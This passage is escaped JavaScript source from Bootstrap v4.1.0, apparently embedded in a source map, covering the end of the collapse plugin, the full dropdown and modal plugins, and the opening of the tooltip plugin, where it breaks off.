$(parent).find(selector).each((i, element) => {\n this._addAriaAndCollapsedClass(\n Collapse._getTargetFromElement(element),\n [element]\n )\n })\n\n return parent\n }\n\n _addAriaAndCollapsedClass(element, triggerArray) {\n if (element) {\n const isOpen = $(element).hasClass(ClassName.SHOW)\n\n if (triggerArray.length > 0) {\n $(triggerArray)\n .toggleClass(ClassName.COLLAPSED, !isOpen)\n .attr('aria-expanded', isOpen)\n }\n }\n }\n\n // Static\n\n static _getTargetFromElement(element) {\n const selector = Util.getSelectorFromElement(element)\n return selector ? $(selector)[0] : null\n }\n\n static _jQueryInterface(config) {\n return this.each(function () {\n const $this = $(this)\n let data = $this.data(DATA_KEY)\n const _config = {\n ...Default,\n ...$this.data(),\n ...typeof config === 'object' && config\n }\n\n if (!data && _config.toggle && /show|hide/.test(config)) {\n _config.toggle = false\n }\n\n if (!data) {\n data = new Collapse(this, _config)\n $this.data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n // preventDefault only for <a> elements (which change the URL) not inside the collapsible element\n if (event.currentTarget.tagName === 'A') {\n event.preventDefault()\n }\n\n const $trigger = $(this)\n const selector = Util.getSelectorFromElement(this)\n $(selector).each(function () {\n const $target = $(this)\n const data = $target.data(DATA_KEY)\n const config = data ? 'toggle' : $trigger.data()\n Collapse._jQueryInterface.call($target, config)\n })\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Collapse._jQueryInterface\n $.fn[NAME].Constructor = Collapse\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Collapse._jQueryInterface\n }\n\n return Collapse\n})($)\n\nexport default Collapse\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): dropdown.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Dropdown = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'dropdown'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.dropdown'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\n const SPACE_KEYCODE = 32 // KeyboardEvent.which value for space key\n const TAB_KEYCODE = 9 // KeyboardEvent.which value for tab key\n const ARROW_UP_KEYCODE = 38 // KeyboardEvent.which value for up arrow key\n const ARROW_DOWN_KEYCODE = 40 // KeyboardEvent.which value for down arrow key\n const RIGHT_MOUSE_BUTTON_WHICH = 3 // MouseEvent.which value for the right button (assuming a right-handed mouse)\n const REGEXP_KEYDOWN = new RegExp(`${ARROW_UP_KEYCODE}|${ARROW_DOWN_KEYCODE}|${ESCAPE_KEYCODE}`)\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`,\n KEYDOWN_DATA_API : `keydown${EVENT_KEY}${DATA_API_KEY}`,\n KEYUP_DATA_API : `keyup${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n DISABLED : 'disabled',\n SHOW : 'show',\n DROPUP : 'dropup',\n DROPRIGHT : 'dropright',\n DROPLEFT : 'dropleft',\n MENURIGHT : 'dropdown-menu-right',\n MENULEFT : 'dropdown-menu-left',\n POSITION_STATIC : 'position-static'\n }\n\n const Selector = {\n DATA_TOGGLE : '[data-toggle=\"dropdown\"]',\n FORM_CHILD : '.dropdown form',\n MENU : '.dropdown-menu',\n NAVBAR_NAV : '.navbar-nav',\n VISIBLE_ITEMS : '.dropdown-menu .dropdown-item:not(.disabled):not(:disabled)'\n }\n\n const AttachmentMap = {\n TOP : 'top-start',\n TOPEND : 'top-end',\n BOTTOM : 'bottom-start',\n BOTTOMEND : 'bottom-end',\n RIGHT : 'right-start',\n RIGHTEND : 'right-end',\n LEFT : 'left-start',\n LEFTEND : 'left-end'\n }\n\n const Default = {\n offset : 0,\n flip : true,\n boundary : 'scrollParent',\n reference : 'toggle',\n display : 'dynamic'\n }\n\n const DefaultType = {\n offset : '(number|string|function)',\n flip : 'boolean',\n boundary : '(string|element)',\n reference : '(string|element)',\n display : 'string'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Dropdown {\n constructor(element, config) {\n this._element = element\n this._popper = null\n this._config = this._getConfig(config)\n this._menu = this._getMenuElement()\n this._inNavbar = this._detectNavbar()\n\n this._addEventListeners()\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n static get DefaultType() {\n return DefaultType\n }\n\n // Public\n\n toggle() {\n if (this._element.disabled || $(this._element).hasClass(ClassName.DISABLED)) {\n return\n }\n\n const parent = Dropdown._getParentFromElement(this._element)\n const isActive = $(this._menu).hasClass(ClassName.SHOW)\n\n Dropdown._clearMenus()\n\n if (isActive) {\n return\n }\n\n const relatedTarget = {\n relatedTarget: this._element\n }\n const showEvent = $.Event(Event.SHOW, relatedTarget)\n\n $(parent).trigger(showEvent)\n\n if (showEvent.isDefaultPrevented()) {\n return\n }\n\n // Disable totally Popper.js for Dropdown in Navbar\n if (!this._inNavbar) {\n /**\n * Check for Popper dependency\n * Popper - https://popper.js.org\n */\n if (typeof Popper === 'undefined') {\n throw new TypeError('Bootstrap dropdown require Popper.js (https://popper.js.org)')\n }\n\n let referenceElement = this._element\n\n if (this._config.reference === 'parent') {\n referenceElement = parent\n } else if (Util.isElement(this._config.reference)) {\n referenceElement = this._config.reference\n\n // Check if it's jQuery element\n if (typeof this._config.reference.jquery !== 'undefined') {\n referenceElement = this._config.reference[0]\n }\n }\n\n // If boundary is not `scrollParent`, then set position to `static`\n // to allow the menu to \"escape\" the scroll parent's boundaries\n // https://github.com/twbs/bootstrap/issues/24251\n if (this._config.boundary !== 'scrollParent') {\n $(parent).addClass(ClassName.POSITION_STATIC)\n }\n this._popper = new Popper(referenceElement, this._menu, this._getPopperConfig())\n }\n\n // If this is a touch-enabled device we add extra\n // empty mouseover listeners to the body's immediate children;\n // only needed because of broken event delegation on iOS\n // https://www.quirksmode.org/blog/archives/2014/02/mouse_event_bub.html\n if ('ontouchstart' in document.documentElement &&\n $(parent).closest(Selector.NAVBAR_NAV).length === 0) {\n $(document.body).children().on('mouseover', null, $.noop)\n }\n\n this._element.focus()\n this._element.setAttribute('aria-expanded', true)\n\n $(this._menu).toggleClass(ClassName.SHOW)\n $(parent)\n .toggleClass(ClassName.SHOW)\n .trigger($.Event(Event.SHOWN, relatedTarget))\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n $(this._element).off(EVENT_KEY)\n this._element = null\n this._menu = null\n if (this._popper !== null) {\n this._popper.destroy()\n this._popper = null\n }\n }\n\n update() {\n this._inNavbar = this._detectNavbar()\n if (this._popper !== null) {\n this._popper.scheduleUpdate()\n }\n }\n\n // Private\n\n _addEventListeners() {\n $(this._element).on(Event.CLICK, (event) => {\n event.preventDefault()\n event.stopPropagation()\n this.toggle()\n })\n }\n\n _getConfig(config) {\n config = {\n ...this.constructor.Default,\n ...$(this._element).data(),\n ...config\n }\n\n Util.typeCheckConfig(\n NAME,\n config,\n this.constructor.DefaultType\n )\n\n return config\n }\n\n _getMenuElement() {\n if (!this._menu) {\n const parent = Dropdown._getParentFromElement(this._element)\n this._menu = $(parent).find(Selector.MENU)[0]\n }\n return this._menu\n }\n\n _getPlacement() {\n const $parentDropdown = $(this._element).parent()\n let placement = AttachmentMap.BOTTOM\n\n // Handle dropup\n if ($parentDropdown.hasClass(ClassName.DROPUP)) {\n placement = AttachmentMap.TOP\n if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.TOPEND\n }\n } else if ($parentDropdown.hasClass(ClassName.DROPRIGHT)) {\n placement = AttachmentMap.RIGHT\n } else if ($parentDropdown.hasClass(ClassName.DROPLEFT)) {\n placement = AttachmentMap.LEFT\n } else if ($(this._menu).hasClass(ClassName.MENURIGHT)) {\n placement = AttachmentMap.BOTTOMEND\n }\n return placement\n }\n\n _detectNavbar() {\n return $(this._element).closest('.navbar').length > 0\n }\n\n _getPopperConfig() {\n const offsetConf = {}\n if (typeof this._config.offset === 'function') {\n offsetConf.fn = (data) => {\n data.offsets = {\n ...data.offsets,\n ...this._config.offset(data.offsets) || {}\n }\n return data\n }\n } else {\n offsetConf.offset = this._config.offset\n }\n const popperConfig = {\n placement: this._getPlacement(),\n modifiers: {\n offset: offsetConf,\n flip: {\n enabled: this._config.flip\n },\n preventOverflow: {\n boundariesElement: this._config.boundary\n }\n }\n }\n\n // Disable Popper.js if we have a static display\n if (this._config.display === 'static') {\n popperConfig.modifiers.applyStyle = {\n enabled: false\n }\n }\n return popperConfig\n }\n\n // Static\n\n static _jQueryInterface(config) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = typeof config === 'object' ? config : null\n\n if (!data) {\n data = new Dropdown(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config]()\n }\n })\n }\n\n static _clearMenus(event) {\n if (event && (event.which === RIGHT_MOUSE_BUTTON_WHICH ||\n event.type === 'keyup' && event.which !== TAB_KEYCODE)) {\n return\n }\n\n const toggles = $.makeArray($(Selector.DATA_TOGGLE))\n for (let i = 0; i < toggles.length; i++) {\n const parent = Dropdown._getParentFromElement(toggles[i])\n const context = $(toggles[i]).data(DATA_KEY)\n const relatedTarget = {\n relatedTarget: toggles[i]\n }\n\n if (!context) {\n continue\n }\n\n const dropdownMenu = context._menu\n if (!$(parent).hasClass(ClassName.SHOW)) {\n continue\n }\n\n if (event && (event.type === 'click' &&\n /input|textarea/i.test(event.target.tagName) || event.type === 'keyup' && event.which === TAB_KEYCODE) &&\n $.contains(parent, event.target)) {\n continue\n }\n\n const hideEvent = $.Event(Event.HIDE, relatedTarget)\n $(parent).trigger(hideEvent)\n if (hideEvent.isDefaultPrevented()) {\n continue\n }\n\n // If this is a touch-enabled device we remove the extra\n // empty mouseover listeners we added for iOS support\n if ('ontouchstart' in document.documentElement) {\n $(document.body).children().off('mouseover', null, $.noop)\n }\n\n toggles[i].setAttribute('aria-expanded', 'false')\n\n $(dropdownMenu).removeClass(ClassName.SHOW)\n $(parent)\n .removeClass(ClassName.SHOW)\n .trigger($.Event(Event.HIDDEN, relatedTarget))\n }\n }\n\n static _getParentFromElement(element) {\n let parent\n const selector = Util.getSelectorFromElement(element)\n\n if (selector) {\n parent = $(selector)[0]\n }\n\n return parent || element.parentNode\n }\n\n // eslint-disable-next-line complexity\n static _dataApiKeydownHandler(event) {\n // If not input/textarea:\n // - And not a key in REGEXP_KEYDOWN => not a dropdown command\n // If input/textarea:\n // - If space key => not a dropdown command\n // - If key is other than escape\n // - If key is not up or down => not a dropdown command\n // - If trigger inside the menu => not a dropdown command\n if (/input|textarea/i.test(event.target.tagName)\n ? event.which === SPACE_KEYCODE || event.which !== ESCAPE_KEYCODE &&\n (event.which !== ARROW_DOWN_KEYCODE && event.which !== ARROW_UP_KEYCODE ||\n $(event.target).closest(Selector.MENU).length) : !REGEXP_KEYDOWN.test(event.which)) {\n return\n }\n\n event.preventDefault()\n event.stopPropagation()\n\n if (this.disabled || $(this).hasClass(ClassName.DISABLED)) {\n return\n }\n\n const parent = Dropdown._getParentFromElement(this)\n const isActive = $(parent).hasClass(ClassName.SHOW)\n\n if (!isActive && (event.which !== ESCAPE_KEYCODE || event.which !== SPACE_KEYCODE) ||\n isActive && (event.which === ESCAPE_KEYCODE || event.which === SPACE_KEYCODE)) {\n if (event.which === ESCAPE_KEYCODE) {\n const toggle = $(parent).find(Selector.DATA_TOGGLE)[0]\n $(toggle).trigger('focus')\n }\n\n $(this).trigger('click')\n return\n }\n\n const items = $(parent).find(Selector.VISIBLE_ITEMS).get()\n\n if (items.length === 0) {\n return\n }\n\n let index = items.indexOf(event.target)\n\n if (event.which === ARROW_UP_KEYCODE && index > 0) { // Up\n index--\n }\n\n if (event.which === ARROW_DOWN_KEYCODE && index < items.length - 1) { // Down\n index++\n }\n\n if (index < 0) {\n index = 0\n }\n\n items[index].focus()\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document)\n .on(Event.KEYDOWN_DATA_API, Selector.DATA_TOGGLE, Dropdown._dataApiKeydownHandler)\n .on(Event.KEYDOWN_DATA_API, Selector.MENU, Dropdown._dataApiKeydownHandler)\n .on(`${Event.CLICK_DATA_API} ${Event.KEYUP_DATA_API}`, Dropdown._clearMenus)\n .on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n event.preventDefault()\n event.stopPropagation()\n Dropdown._jQueryInterface.call($(this), 'toggle')\n })\n .on(Event.CLICK_DATA_API, Selector.FORM_CHILD, (e) => {\n e.stopPropagation()\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Dropdown._jQueryInterface\n $.fn[NAME].Constructor = Dropdown\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Dropdown._jQueryInterface\n }\n\n return Dropdown\n})($, Popper)\n\nexport default Dropdown\n","import $ from 'jquery'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): modal.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Modal = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'modal'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.modal'\n const EVENT_KEY = `.${DATA_KEY}`\n const DATA_API_KEY = '.data-api'\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const ESCAPE_KEYCODE = 27 // KeyboardEvent.which value for Escape (Esc) key\n\n const Default = {\n backdrop : true,\n keyboard : true,\n focus : true,\n show : true\n }\n\n const DefaultType = {\n backdrop : '(boolean|string)',\n keyboard : 'boolean',\n focus : 'boolean',\n show : 'boolean'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n RESIZE : `resize${EVENT_KEY}`,\n CLICK_DISMISS : `click.dismiss${EVENT_KEY}`,\n KEYDOWN_DISMISS : `keydown.dismiss${EVENT_KEY}`,\n MOUSEUP_DISMISS : `mouseup.dismiss${EVENT_KEY}`,\n MOUSEDOWN_DISMISS : `mousedown.dismiss${EVENT_KEY}`,\n CLICK_DATA_API : `click${EVENT_KEY}${DATA_API_KEY}`\n }\n\n const ClassName = {\n SCROLLBAR_MEASURER : 'modal-scrollbar-measure',\n BACKDROP : 'modal-backdrop',\n OPEN : 'modal-open',\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = {\n DIALOG : '.modal-dialog',\n DATA_TOGGLE : '[data-toggle=\"modal\"]',\n DATA_DISMISS : '[data-dismiss=\"modal\"]',\n FIXED_CONTENT : '.fixed-top, .fixed-bottom, .is-fixed, .sticky-top',\n STICKY_CONTENT : '.sticky-top',\n NAVBAR_TOGGLER : '.navbar-toggler'\n }\n\n /**\n * ------------------------------------------------------------------------\n * Class Definition\n * ------------------------------------------------------------------------\n */\n\n class Modal {\n constructor(element, config) {\n this._config = this._getConfig(config)\n this._element = element\n this._dialog = $(element).find(Selector.DIALOG)[0]\n this._backdrop = null\n this._isShown = false\n this._isBodyOverflowing = false\n this._ignoreBackdropClick = false\n this._scrollbarWidth = 0\n }\n\n // Getters\n\n static get VERSION() {\n return VERSION\n }\n\n static get Default() {\n return Default\n }\n\n // Public\n\n toggle(relatedTarget) {\n return this._isShown ? this.hide() : this.show(relatedTarget)\n }\n\n show(relatedTarget) {\n if (this._isTransitioning || this._isShown) {\n return\n }\n\n if ($(this._element).hasClass(ClassName.FADE)) {\n this._isTransitioning = true\n }\n\n const showEvent = $.Event(Event.SHOW, {\n relatedTarget\n })\n\n $(this._element).trigger(showEvent)\n\n if (this._isShown || showEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = true\n\n this._checkScrollbar()\n this._setScrollbar()\n\n this._adjustDialog()\n\n $(document.body).addClass(ClassName.OPEN)\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(this._element).on(\n Event.CLICK_DISMISS,\n Selector.DATA_DISMISS,\n (event) => this.hide(event)\n )\n\n $(this._dialog).on(Event.MOUSEDOWN_DISMISS, () => {\n $(this._element).one(Event.MOUSEUP_DISMISS, (event) => {\n if ($(event.target).is(this._element)) {\n this._ignoreBackdropClick = true\n }\n })\n })\n\n this._showBackdrop(() => this._showElement(relatedTarget))\n }\n\n hide(event) {\n if (event) {\n event.preventDefault()\n }\n\n if (this._isTransitioning || !this._isShown) {\n return\n }\n\n const hideEvent = $.Event(Event.HIDE)\n\n $(this._element).trigger(hideEvent)\n\n if (!this._isShown || hideEvent.isDefaultPrevented()) {\n return\n }\n\n this._isShown = false\n const transition = $(this._element).hasClass(ClassName.FADE)\n\n if (transition) {\n this._isTransitioning = true\n }\n\n this._setEscapeEvent()\n this._setResizeEvent()\n\n $(document).off(Event.FOCUSIN)\n\n $(this._element).removeClass(ClassName.SHOW)\n\n $(this._element).off(Event.CLICK_DISMISS)\n $(this._dialog).off(Event.MOUSEDOWN_DISMISS)\n\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._element)\n .one(Util.TRANSITION_END, (event) => this._hideModal(event))\n .emulateTransitionEnd(transitionDuration)\n } else {\n this._hideModal()\n }\n }\n\n dispose() {\n $.removeData(this._element, DATA_KEY)\n\n $(window, document, this._element, this._backdrop).off(EVENT_KEY)\n\n this._config = null\n this._element = null\n this._dialog = null\n this._backdrop = null\n this._isShown = null\n this._isBodyOverflowing = null\n this._ignoreBackdropClick = null\n this._scrollbarWidth = null\n }\n\n handleUpdate() {\n this._adjustDialog()\n }\n\n // Private\n\n _getConfig(config) {\n config = {\n ...Default,\n ...config\n }\n Util.typeCheckConfig(NAME, config, DefaultType)\n return config\n }\n\n _showElement(relatedTarget) {\n const transition = $(this._element).hasClass(ClassName.FADE)\n\n if (!this._element.parentNode ||\n this._element.parentNode.nodeType !== Node.ELEMENT_NODE) {\n // Don't move modal's DOM position\n document.body.appendChild(this._element)\n }\n\n this._element.style.display = 'block'\n this._element.removeAttribute('aria-hidden')\n this._element.scrollTop = 0\n\n if (transition) {\n Util.reflow(this._element)\n }\n\n $(this._element).addClass(ClassName.SHOW)\n\n if (this._config.focus) {\n this._enforceFocus()\n }\n\n const shownEvent = $.Event(Event.SHOWN, {\n relatedTarget\n })\n\n const transitionComplete = () => {\n if (this._config.focus) {\n this._element.focus()\n }\n this._isTransitioning = false\n $(this._element).trigger(shownEvent)\n }\n\n if (transition) {\n const transitionDuration = Util.getTransitionDurationFromElement(this._element)\n\n $(this._dialog)\n .one(Util.TRANSITION_END, transitionComplete)\n .emulateTransitionEnd(transitionDuration)\n } else {\n transitionComplete()\n }\n }\n\n _enforceFocus() {\n $(document)\n .off(Event.FOCUSIN) // Guard against infinite focus loop\n .on(Event.FOCUSIN, (event) => {\n if (document !== event.target &&\n this._element !== event.target &&\n $(this._element).has(event.target).length === 0) {\n this._element.focus()\n }\n })\n }\n\n _setEscapeEvent() {\n if (this._isShown && this._config.keyboard) {\n $(this._element).on(Event.KEYDOWN_DISMISS, (event) => {\n if (event.which === ESCAPE_KEYCODE) {\n event.preventDefault()\n this.hide()\n }\n })\n } else if (!this._isShown) {\n $(this._element).off(Event.KEYDOWN_DISMISS)\n }\n }\n\n _setResizeEvent() {\n if (this._isShown) {\n $(window).on(Event.RESIZE, (event) => this.handleUpdate(event))\n } else {\n $(window).off(Event.RESIZE)\n }\n }\n\n _hideModal() {\n this._element.style.display = 'none'\n this._element.setAttribute('aria-hidden', true)\n this._isTransitioning = false\n this._showBackdrop(() => {\n $(document.body).removeClass(ClassName.OPEN)\n this._resetAdjustments()\n this._resetScrollbar()\n $(this._element).trigger(Event.HIDDEN)\n })\n }\n\n _removeBackdrop() {\n if (this._backdrop) {\n $(this._backdrop).remove()\n this._backdrop = null\n }\n }\n\n _showBackdrop(callback) {\n const animate = $(this._element).hasClass(ClassName.FADE)\n ? ClassName.FADE : ''\n\n if (this._isShown && this._config.backdrop) {\n this._backdrop = document.createElement('div')\n this._backdrop.className = ClassName.BACKDROP\n\n if (animate) {\n $(this._backdrop).addClass(animate)\n }\n\n $(this._backdrop).appendTo(document.body)\n\n $(this._element).on(Event.CLICK_DISMISS, (event) => {\n if (this._ignoreBackdropClick) {\n this._ignoreBackdropClick = false\n return\n }\n if (event.target !== event.currentTarget) {\n return\n }\n if (this._config.backdrop === 'static') {\n this._element.focus()\n } else {\n this.hide()\n }\n })\n\n if (animate) {\n Util.reflow(this._backdrop)\n }\n\n $(this._backdrop).addClass(ClassName.SHOW)\n\n if (!callback) {\n return\n }\n\n if (!animate) {\n callback()\n return\n }\n\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callback)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else if (!this._isShown && this._backdrop) {\n $(this._backdrop).removeClass(ClassName.SHOW)\n\n const callbackRemove = () => {\n this._removeBackdrop()\n if (callback) {\n callback()\n }\n }\n\n if ($(this._element).hasClass(ClassName.FADE)) {\n const backdropTransitionDuration = Util.getTransitionDurationFromElement(this._backdrop)\n\n $(this._backdrop)\n .one(Util.TRANSITION_END, callbackRemove)\n .emulateTransitionEnd(backdropTransitionDuration)\n } else {\n callbackRemove()\n }\n } else if (callback) {\n callback()\n }\n }\n\n // ----------------------------------------------------------------------\n // the following methods are used to handle overflowing modals\n // todo (fat): these should probably be refactored out of modal.js\n // ----------------------------------------------------------------------\n\n _adjustDialog() {\n const isModalOverflowing =\n this._element.scrollHeight > document.documentElement.clientHeight\n\n if (!this._isBodyOverflowing && isModalOverflowing) {\n this._element.style.paddingLeft = `${this._scrollbarWidth}px`\n }\n\n if (this._isBodyOverflowing && !isModalOverflowing) {\n this._element.style.paddingRight = `${this._scrollbarWidth}px`\n }\n }\n\n _resetAdjustments() {\n this._element.style.paddingLeft = ''\n this._element.style.paddingRight = ''\n }\n\n _checkScrollbar() {\n const rect = document.body.getBoundingClientRect()\n this._isBodyOverflowing = rect.left + rect.right < window.innerWidth\n this._scrollbarWidth = this._getScrollbarWidth()\n }\n\n _setScrollbar() {\n if (this._isBodyOverflowing) {\n // Note: DOMNode.style.paddingRight returns the actual value or '' if not set\n // while $(DOMNode).css('padding-right') returns the calculated value or 0 if not set\n\n // Adjust fixed content padding\n $(Selector.FIXED_CONTENT).each((index, element) => {\n const actualPadding = $(element)[0].style.paddingRight\n const calculatedPadding = $(element).css('padding-right')\n $(element).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n })\n\n // Adjust sticky content margin\n $(Selector.STICKY_CONTENT).each((index, element) => {\n const actualMargin = $(element)[0].style.marginRight\n const calculatedMargin = $(element).css('margin-right')\n $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) - this._scrollbarWidth}px`)\n })\n\n // Adjust navbar-toggler margin\n $(Selector.NAVBAR_TOGGLER).each((index, element) => {\n const actualMargin = $(element)[0].style.marginRight\n const calculatedMargin = $(element).css('margin-right')\n $(element).data('margin-right', actualMargin).css('margin-right', `${parseFloat(calculatedMargin) + this._scrollbarWidth}px`)\n })\n\n // Adjust body padding\n const actualPadding = document.body.style.paddingRight\n const calculatedPadding = $(document.body).css('padding-right')\n $(document.body).data('padding-right', actualPadding).css('padding-right', `${parseFloat(calculatedPadding) + this._scrollbarWidth}px`)\n }\n }\n\n _resetScrollbar() {\n // Restore fixed content padding\n $(Selector.FIXED_CONTENT).each((index, element) => {\n const padding = $(element).data('padding-right')\n if (typeof padding !== 'undefined') {\n $(element).css('padding-right', padding).removeData('padding-right')\n }\n })\n\n // Restore sticky content and navbar-toggler margin\n $(`${Selector.STICKY_CONTENT}, ${Selector.NAVBAR_TOGGLER}`).each((index, element) => {\n const margin = $(element).data('margin-right')\n if (typeof margin !== 'undefined') {\n $(element).css('margin-right', margin).removeData('margin-right')\n }\n })\n\n // Restore body padding\n const padding = $(document.body).data('padding-right')\n if (typeof padding !== 'undefined') {\n $(document.body).css('padding-right', padding).removeData('padding-right')\n }\n }\n\n _getScrollbarWidth() { // thx d.walsh\n const scrollDiv = document.createElement('div')\n scrollDiv.className = ClassName.SCROLLBAR_MEASURER\n document.body.appendChild(scrollDiv)\n const scrollbarWidth = scrollDiv.getBoundingClientRect().width - scrollDiv.clientWidth\n document.body.removeChild(scrollDiv)\n return scrollbarWidth\n }\n\n // Static\n\n static _jQueryInterface(config, relatedTarget) {\n return this.each(function () {\n let data = $(this).data(DATA_KEY)\n const _config = {\n ...Modal.Default,\n ...$(this).data(),\n ...typeof config === 'object' && config\n }\n\n if (!data) {\n data = new Modal(this, _config)\n $(this).data(DATA_KEY, data)\n }\n\n if (typeof config === 'string') {\n if (typeof data[config] === 'undefined') {\n throw new TypeError(`No method named \"${config}\"`)\n }\n data[config](relatedTarget)\n } else if (_config.show) {\n data.show(relatedTarget)\n }\n })\n }\n }\n\n /**\n * ------------------------------------------------------------------------\n * Data Api implementation\n * ------------------------------------------------------------------------\n */\n\n $(document).on(Event.CLICK_DATA_API, Selector.DATA_TOGGLE, function (event) {\n let target\n const selector = Util.getSelectorFromElement(this)\n\n if (selector) {\n target = $(selector)[0]\n }\n\n const config = $(target).data(DATA_KEY)\n ? 'toggle' : {\n ...$(target).data(),\n ...$(this).data()\n }\n\n if (this.tagName === 'A' || this.tagName === 'AREA') {\n event.preventDefault()\n }\n\n const $target = $(target).one(Event.SHOW, (showEvent) => {\n if (showEvent.isDefaultPrevented()) {\n // Only register focus restorer if modal will actually get shown\n return\n }\n\n $target.one(Event.HIDDEN, () => {\n if ($(this).is(':visible')) {\n this.focus()\n }\n })\n })\n\n Modal._jQueryInterface.call($(target), config, this)\n })\n\n /**\n * ------------------------------------------------------------------------\n * jQuery\n * ------------------------------------------------------------------------\n */\n\n $.fn[NAME] = Modal._jQueryInterface\n $.fn[NAME].Constructor = Modal\n $.fn[NAME].noConflict = function () {\n $.fn[NAME] = JQUERY_NO_CONFLICT\n return Modal._jQueryInterface\n }\n\n return Modal\n})($)\n\nexport default Modal\n","import $ from 'jquery'\nimport Popper from 'popper.js'\nimport Util from './util'\n\n/**\n * --------------------------------------------------------------------------\n * Bootstrap (v4.1.0): tooltip.js\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n * --------------------------------------------------------------------------\n */\n\nconst Tooltip = (($) => {\n /**\n * ------------------------------------------------------------------------\n * Constants\n * ------------------------------------------------------------------------\n */\n\n const NAME = 'tooltip'\n const VERSION = '4.1.0'\n const DATA_KEY = 'bs.tooltip'\n const EVENT_KEY = `.${DATA_KEY}`\n const JQUERY_NO_CONFLICT = $.fn[NAME]\n const CLASS_PREFIX = 'bs-tooltip'\n const BSCLS_PREFIX_REGEX = new RegExp(`(^|\\\\s)${CLASS_PREFIX}\\\\S+`, 'g')\n\n const DefaultType = {\n animation : 'boolean',\n template : 'string',\n title : '(string|element|function)',\n trigger : 'string',\n delay : '(number|object)',\n html : 'boolean',\n selector : '(string|boolean)',\n placement : '(string|function)',\n offset : '(number|string)',\n container : '(string|element|boolean)',\n fallbackPlacement : '(string|array)',\n boundary : '(string|element)'\n }\n\n const AttachmentMap = {\n AUTO : 'auto',\n TOP : 'top',\n RIGHT : 'right',\n BOTTOM : 'bottom',\n LEFT : 'left'\n }\n\n const Default = {\n animation : true,\n template : '<div class=\"tooltip\" role=\"tooltip\">' +\n '<div class=\"arrow\"></div>' +\n '<div class=\"tooltip-inner\"></div></div>',\n trigger : 'hover focus',\n title : '',\n delay : 0,\n html : false,\n selector : false,\n placement : 'top',\n offset : 0,\n container : false,\n fallbackPlacement : 'flip',\n boundary : 'scrollParent'\n }\n\n const HoverState = {\n SHOW : 'show',\n OUT : 'out'\n }\n\n const Event = {\n HIDE : `hide${EVENT_KEY}`,\n HIDDEN : `hidden${EVENT_KEY}`,\n SHOW : `show${EVENT_KEY}`,\n SHOWN : `shown${EVENT_KEY}`,\n INSERTED : `inserted${EVENT_KEY}`,\n CLICK : `click${EVENT_KEY}`,\n FOCUSIN : `focusin${EVENT_KEY}`,\n FOCUSOUT : `focusout${EVENT_KEY}`,\n MOUSEENTER : `mouseenter${EVENT_KEY}`,\n MOUSELEAVE : `mouseleave${EVENT_KEY}`\n }\n\n const ClassName = {\n FADE : 'fade',\n SHOW : 'show'\n }\n\n const Selector = 